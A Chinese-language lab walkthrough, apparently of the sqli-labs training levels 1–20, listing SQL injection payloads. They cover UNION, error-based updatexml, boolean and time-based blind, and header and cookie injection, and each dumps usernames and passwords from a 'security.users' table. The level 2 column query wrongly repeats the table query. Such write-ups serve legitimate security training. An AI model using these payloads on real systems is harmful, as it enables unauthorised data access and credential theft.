1.字符型注入(联合查询)
使用如下代码检查有几列
?id=1' order by 3--+

可以明显看出有三列
输入
?id=-1' union select 1,2,3 --+
查看分别在第几列

注入?id=-1' union select 1,database(),3 --

接下来输入
?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+
即可成功

2.数字型注入(联合查询)
依旧查看列数,可修改代码中数字进行检查
?id=1 order by 3--+
看看是否有回显?id=-1 union select 1,2,3--+
查看所有的表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看所有字段
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看数据
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

这样就算注入成功了
3.字符型注入(单引号加括号)
这里和前面差不多但是本关需要闭合')
将前面的代码id=XX后加')即可



4.字符型注入(双引号+括号闭合型)
本关后改为")即可
然后重复之前操作

5.报错注入
本关属于单引号盲注,需要用报错注入
输入?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+获取数据库名
输入?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+获取表名

6.报错注入
这道题和第5题一样通过报错注入语句,输入双引号"闭合注入点
?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

7.报错注入
首先通过这串代码验证注入类型发现属于单引号加双括号型
?id=1')) and 1=2--+

输入此代码查询数据
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

发现并不全面,输入
?id=1')) and updatexml(1,concat(0x7e,substr((select group_concat(username,':',password) from security.users),33),0x7e),1)--+
查询后面的内容

8.布尔盲注

单引号闭合的布尔盲注(页面只有“存在/不存在”两种状态)
通过
?id=1' and length(database())=8--+
判断数据库名长度

115是 s 的ASCII码,页面有内容则验证成立,通过尝试得到数据
?id=1' and ascii(substr(database(),1,1))=115--+

9.时间盲注
单引号闭合的时间盲注,页面无任何状态变化,依赖时间延迟判断
?id=1' and sleep(5)--+
延迟5秒,判断闭合是否正确

通过此代码判断长度
?id=1' and if(length(database())=8,sleep(5),1)--+

其余如8题
10.时间盲注
双引号闭合的时间盲注与9一致,仅闭合符不同
将9的单引号替换为双引号即可,时间盲注的核心逻辑完全复用。
?id=1" and sleep(5)--+

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

11.字符型注入
在注入表单的 name输入代码
admin' union select 1,group_concat(username,':',password) from security.users--+
用单引号'闭合

通过回显得到数据
12.字符型注入
与11一致,只是闭合方式略有不同,使用双引号加括号闭合
admin") union select 1,group_concat(username,':',password) from security.users--+

13.报错注入
此题通过单引号加括号盲注
admin') and updatexml(1,concat(0x7e,database(),0x7e),1)--+
无登录成功回显,依赖 updatexml 报错获取数据

14.报错注入
这道题属于双引号闭合的类型,使用下面代码注入
admin" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

接下来同上
15.布尔盲注
闭合方式为单引号通过判断数据库名长度
admin' and length(database())=8--+

通过登录是否成功判断条件真假
16.布尔盲注
闭合方式为双引号加括号,判断数据库名长度
admin") and length(database())=8--+

其余同15
17.密码重置型报错注入
将代码放入Name会发现它在嘲讽我们
' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from security.users),0x7e),1)--+

换个思路,放在密码中即可成功

18.User-Agent头注入
这道题我们需要抓包

将User-Agent改一下
![]()

19.Referer头注入
这道题类似于第18题
改一下http即可

20.Cookie注入
同样抓包修改
然后通过修改cookie的值为注入语句来注入出数据

2018

被折叠的 条评论
为什么被折叠?



